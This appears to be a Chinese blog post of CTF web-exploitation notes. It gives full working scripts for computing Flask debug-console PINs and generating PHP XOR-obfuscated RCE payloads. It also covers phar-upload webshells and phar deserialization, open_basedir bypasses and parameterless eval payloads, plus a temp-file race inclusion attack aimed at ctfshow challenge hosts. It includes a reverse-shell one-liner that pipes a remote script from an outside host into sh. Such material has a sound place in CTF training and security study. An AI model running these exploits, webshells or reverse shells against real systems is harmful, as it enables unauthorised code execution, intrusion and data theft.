Flask算PIN

原理

如果python的flask开启了debug调试,通过url/console可以进入控制台,但是需要PIN。

如何算PIN

  • 注意: machine_id所需的三个文件,/etc/machine-id在docker环境下可能不存在
  • 注意:machine_id按理来说需要三个文件的拼接,如果不对尝试只使用单独的文件,例如只用boot_id或者/proc/self/cgroup
  • py3.6和py3.8的生成的PIN是不一样的
    算PIN所需条件

脚本(PYTHON3.8,sha1加密)

import hashlib
from itertools import chain
probably_public_bits = [
    'root'# /etc/passwd ,执行的用户,可以通过/etc/passwd推断
    'flask.app',# 默认值
    'Flask',# 默认值
    '/usr/local/lib/python3.8/site-packages/flask/app.py' # 报错得到,如果环境有文件包含,那么包含空路径可以从报错得到路径
]

private_bits = [
    '2485377583391',#  /sys/class/net/eth0/address ,将读取的结果转为十进制
    'b0253079-fb4b-4235-ad30-f3d64b6c59677b0eda3a642f514185cfaef0c0f0db04576e1cf14e91354220344ce44c794718'
    #  /etc/machine-id (docker环境没有此文件) +  /proc/sys/kernel/random/boot_id + /proc/self/cgroup 可以通过文件包含读取,读取的结果按循序拼接在一起
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

脚本(PYTHON3.6,MD5加密)

#MD5
import hashlib
from itertools import chain
probably_public_bits = [
     'flaskweb'# username
     'flask.app',# modname
     'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
     '/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
     '25214234362297',# str(uuid.getnode()),  /sys/class/net/eth0/address ,将读取的结果转为十进制
     '0402a7ff83cc48b41b227763d03b386cb5040585c82f3b99aa3ad120ae69ebaa'
     #  /etc/machine-id (docker环境没有此文件) +  /proc/sys/kernel/random/boot_id + /proc/self/cgroup 可以通过文件包含读取,读取的结果按循序拼接在一起
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
   h.update(b'pinsalt')
   num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
   for group_size in 5, 4, 3:
       if len(num) % group_size == 0:
          rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                      for x in range(0, len(num), group_size))
          break
       else:
          rv = num

print(rv)

php无字母数字命令执行

原理

通过异或,例如ord(a^b)输出的是3,以此同理,达到无字母数字RCE

  • ('phpinfo')(); 这样是相当于phpinfo();

生成脚本

<?php
$precode=<<<code
\$_=('@'^'!');
\$__=\$_++;
\$___=++\$__;
\$____=++\$___;
\$_____=++\$____;
\$______=++\$_____;
\$_______=++\$______;
\$________=++\$_______;
\$_________=++\$________;
\$__________=++\$_________;
\$___________=++\$__________;
\$____________=++\$___________;
\$_____________=++\$____________;
\$______________=++\$_____________;
\$_______________=++\$______________;
\$________________=++\$_______________;
\$_________________=++\$________________;
\$__________________=++\$_________________;
\$___________________=++\$__________________;
\$____________________=++\$___________________;
\$_____________________=++\$____________________;
\$______________________=++\$_____________________;
\$_______________________=++\$______________________;
\$________________________=++\$_______________________;
\$_________________________=++\$________________________;
\$__________________________=++\$_________________________;
\$_=('@'^'!');
code;

eval($precode);


#使用异或生成任意无字母数字代码
function createCode($code){
    global $precode;
    $ret = "";
    for ($i=0; $i < strlen($code); $i++) { 

        $c = $code[$i];
        if(ord($c)<97 || ord($c)>122){
            $ret .= "$c";
        }else{
            $ret .= '$'.str_repeat('_', ord($c)-96);
        }

        
    }
    return urlencode("$precode(\"".substr($ret,0,stripos($ret, "("))."\")".substr($ret, stripos($ret,"(")));
}


//在这里修改想要执行的代码
echo createCode('system("ls /");');

zip上传phar包含

使用环境

需要有上传点,并且可以上传任意文件。需要有include点,可以用phar协议

#示范题目代码 @ctfshow
<?php
error_reporting(0);
highlight_file(__FILE__);
$file = $_POST['file'];
$content = $_POST['content'];

if(isset($content) && !preg_match('/php|data|ftp/i',$file)){
    if(file_exists($file.'.txt')){
        include $file.'.txt';
    }else{
        file_put_contents($file,$content);
    }
}

解题

生成phar包,php代码

<?php 
$phar = new Phar("shell.phar");
$phar->startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar->addFromString("a.txt", "<?php eval(\$_POST[a]);?>");
$phar->stopBuffering();
?>

使用python进行请求

import requests
url="http://6812df6b-f717-4eda-ba0e-95b087e887f2.challenge.ctf.show/index.php"
data1={'file':'/tmp/a.phar','content':open('shell.phar','rb').read()}
# 根据题目 file为要上传的文件目录,没有权限可以往tmp里面写,content是文件内容
data2={'file':'phar:///tmp/a.phar/a','content':'123','a':'system("cat f*");'}
#文件包含使用了phar协议,而生成的phar包里面有a.txt,包含之后可以执行eval
requests.post(url,data=data1)
r=requests.post(url,data=data2)
print(r.text)

phar反序列化

使用原理 & 条件

  • 原理:能使用phar伪协议的地方都能自动触发序列化metadate里面的数据
  • 使用目的:进行反序列化
  • 使用环境:首先要能上传文件,当前的web目录或者/tmp目录,要上传phar包
  • 使用环境:需要能够触发这个文件的函数,并且可控,可使用的函数下面所示
  • 如何使用: 先上传进行反序列化好的phar包,然后找到可控的函数点,对上传的文件路径进行触发,即可触发反序列化
    phar反序列化
    phar反序列化2
    phar反序列化总结

例题

例题代码

<?php
error_reporting(0);
highlight_file(__FILE__);
class hacker
{
    public $code;
    public function __destruct()
    {
        eval($this->code);
    }
}
$file = $_POST['file'];
$content = $_POST['content'];
if (isset($content) && !preg_match('/php|data|ftp/i', $file)) {
    if (file_exists($file)) {
        unlink($file);
        //unlink可以触发phar伪协议的反序列化
    } else {
        file_put_contents($file, $content);
    }
}

先根据题目生成phar包,进行反序列化

<?php 
class hacker{
    public $code;
    public function __destruct(){
        eval($this->code);
    }
}
//需要反序列化的类
$a=new hacker();
//实例化
$a->code="system('cat f*');";
//使用实例化中的code 赋值
$phar = new Phar("shell.phar");
$phar->startBuffering();
$phar->setMetadata($a);
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar->addFromString("a.txt", "<?php eval(\$_POST[a]);?>");
$phar->stopBuffering();

然后使用python脚本进行上传

import requests
url = "http://6e1e05f1-8372-4e70-9122-48c5f8175158.challenge.ctf.show/"
data1= {
    "file" : "/tmp/shell.phar",
    "content" : open('shell.phar','rb').read()
}
data2= {
    "file" : "phar:///tmp/shell.phar",
    "content" : "sibei"
}
requests.post(url=url,data=data1)
req = requests.post(url=url,data=data2)
print(req.text)

open_basedir绕过

open_basedir就是文件函数操作的时候,判断操作的文件路径是否在配置文件设定的范围之内

探测目录脚本

$a = "glob:///*";
if ( $b = opendir($a) ) {
  while ( ($file = readdir($b)) !== false ) {
    echo $file."\n";
 }
  closedir($b);
}

姿势一

原理:通过命令,逐级改变目录,搭配上ini_set和eval函数

mkdir("s");
chdir('s');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','/');
echo file_get_contents("/ctfshowflag");

姿势二

通过蚁剑,通过插件市场来绕过

姿势三,通过P神的脚本

  • 脚本出处: https://www.leavesongs.com/other/bypass-open-basedir-readfile.html
    使用方式,通过GET或者POST传入,搭配eval。但是可能会字符串过长,可以通过远程包含
    例题: eval($_POST[a]); POST传入a=include("https://sirbei.com/1.txt"); 来进行远程包含,然后GET进行url/?file=文件路径进行包含
    P神脚本使用方法
<?php
header('content-type: text/plain');
error_reporting(-1);
ini_set('display_errors', TRUE);
printf("open_basedir: %s\nphp_version: %s\n", ini_get('open_basedir'), phpversion());
printf("disable_functions: %s\n", ini_get('disable_functions'));
$file = str_replace('\\', '/', isset($_REQUEST['file']) ? $_REQUEST['file'] : '/etc/passwd');
$relat_file = getRelativePath(__FILE__, $file);
$paths = explode('/', $file);
$name = mt_rand() % 999;
$exp = getRandStr();
mkdir($name);
chdir($name);
for ($i = 1; $i < count($paths) - 1; $i++) {
  mkdir($paths[$i]);
  chdir($paths[$i]);
}
mkdir($paths[$i]);
for ($i -= 1; $i > 0; $i--) {
  chdir('..');
}
$paths = explode('/', $relat_file);
$j = 0;
for ($i = 0; $paths[$i] == '..'; $i++) {
  mkdir($name);
  chdir($name);
  $j++;
}
for ($i = 0; $i <= $j; $i++) {
  chdir('..');
}
$tmp = array_fill(0, $j + 1, $name);
symlink(implode('/', $tmp), 'tmplink');
$tmp = array_fill(0, $j, '..');
symlink('tmplink/' . implode('/', $tmp) . $file, $exp);
unlink('tmplink');
mkdir('tmplink');
delfile($name);
$exp = dirname($_SERVER['SCRIPT_NAME']) . "/{$exp}";
$exp = "http://{$_SERVER['SERVER_NAME']}{$exp}";
echo "\n-----------------content---------------\n\n";
echo file_get_contents($exp);
delfile('tmplink');

function getRelativePath($from, $to)
{
  $from = rtrim($from, '\/') . '/';
  $from = str_replace('\\', '/', $from);
  $to   = str_replace('\\', '/', $to);

  $from   = explode('/', $from);
  $to     = explode('/', $to);
  $relPath  = $to;

    foreach ($from as $depth => $dir) {
        // find first non-matching dir
        if ($dir === $to[$depth]) {
            // ignore this directory
            array_shift($relPath);
        } else {
            // get number of remaining dirs to $from
            $remaining = count($from) - $depth;
            if ($remaining > 1) {
                // add traversals up to first matching dir
                $padLength = (count($relPath) + $remaining - 1) * -1;
                $relPath = array_pad($relPath, $padLength, '..');
                break;
            } else {
                $relPath[0] = './' . $relPath[0];
            }
        }
    }
    return implode('/', $relPath);
}

function delfile($deldir)
{
    if (@is_file($deldir)) {
        @chmod($deldir, 0777);
        return @unlink($deldir);
    } else if (@is_dir($deldir)) {
        if (($mydir = @opendir($deldir)) == NULL) return false;
        while (false !== ($file = @readdir($mydir))) {
            $name = File_Str($deldir . '/' . $file);
            if (($file != '.') && ($file != '..')) {
                delfile($name);
            }
        }
        @closedir($mydir);
        @chmod($deldir, 0777);
        return @rmdir($deldir) ? true : false;
    }
}

function File_Str($string)
{
    return str_replace('//', '/', str_replace('\\', '/', $string));
}

function getRandStr($length = 6)
{
    $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $randStr = '';
    for ($i = 0; $i < $length; $i++) {
        $randStr .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);
    }
    return $randStr;
}

无参数命令执行

例题代码

<?php
highlight_file(__FILE__);
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
    eval($_GET['code']);
}
?>

解题姿势

姿势1: 使用超全局变量当成参数

payload

url/?code=eval(end(current(get_defined_vars())));&b=echo `nl /ctfshowflag`;

原理

  • 通过get_defined_vars获取超全局变量,然后自己传入一个变量作为参数,然后通过end() reset()等来筛选出自己的变量,可以使用var_dump进行调试
  • eval内为参数,通过get_defined_vars()来获取超全局变量,变量的排序为get-post-cookie-files
  • 然后通过以下这些来选中参数,reset()或者current()来获取第一组参数,end获取最后一组参数,next()获取下一个参数,prev()获取上一个元素

姿势2:使用http请求头信息来进行获取参数

payload

url/?code=eval(reset(getallheaders()));
控制 X-Forwarded-For: phpinfo();#

原理

  • 使用getallheaders()获取https请求头信息,但是这些信息是可控的。
  • 通过getallheaders()获取请求头信息,使用var_dump进行调试,直到选中自己所需的
  • 通过以下这些来选中参数,reset()或者current()来获取第一组参数,end获取最后一组参数,next()获取下一个参数,prev()获取上一个元素

反弹shell专题

万能反弹shell

https://your-shell.com/

使用方法

监听机: nc -lvp 12345
反弹机: curl https://your-shell.com/监听机ip:监听机端口 | sh

更多反弹姿势

https://cloud.tencent.com/developer/article/1680591
https://blog.csdn.net/weixin_45751765/article/details/124160978

卡临时文件包含

所需条件

  • 版本: PHP 7.0.x before 7.0.27, 7.1.x before 7.1.13, and 7.2.x before 7.2.1
  • 需要完整的包含点
  • 需要能查看tmp下的文件
  • 对包含文件的点输入代码 php://filter/string.strip_tags/resource=/etc/passwd

原理

PHP可以强制给全局变量或者上传文件,但是只是用不用的问题,php脚本结束后会自动删除PHP的临时文件和变量。
但是PHP7.0存在卡线程代码,那么脚本不会正常退出,就可以让临时文件不删除
只需要强行上传文件,然后卡线程,让临时文件不删除,就可以用文件包含去包含

例题 & 解 (@Ctfshow)

例题

<?php
error_reporting(0);
$file = $_GET['file'];


if(isset($file) && !preg_match("/input|data|phar|log/i",$file)){
    include $file;
}else{
    show_source(__FILE__);
    print_r(scandir("/tmp"));
}

解题代码(python脚本)

import requests

url = "http://f4fa1102-2708-438b-afcf-3f2d9827c108.challenge.ctf.show/?file=php://filter/string.strip_tags/resource=/etc/passwd"

file = {
    "file": open("shell", "r").read()
}
requests.post(url, files=file)

python代码对文件包含点进行了卡线程,同时使用requests.post(file=file)进行了上传文件操作,那上传的文件不会被删除。然后手动包含即可RCE

最后修改:2022 年 07 月 04 日
如果觉得我的文章对你有用,请随意赞赏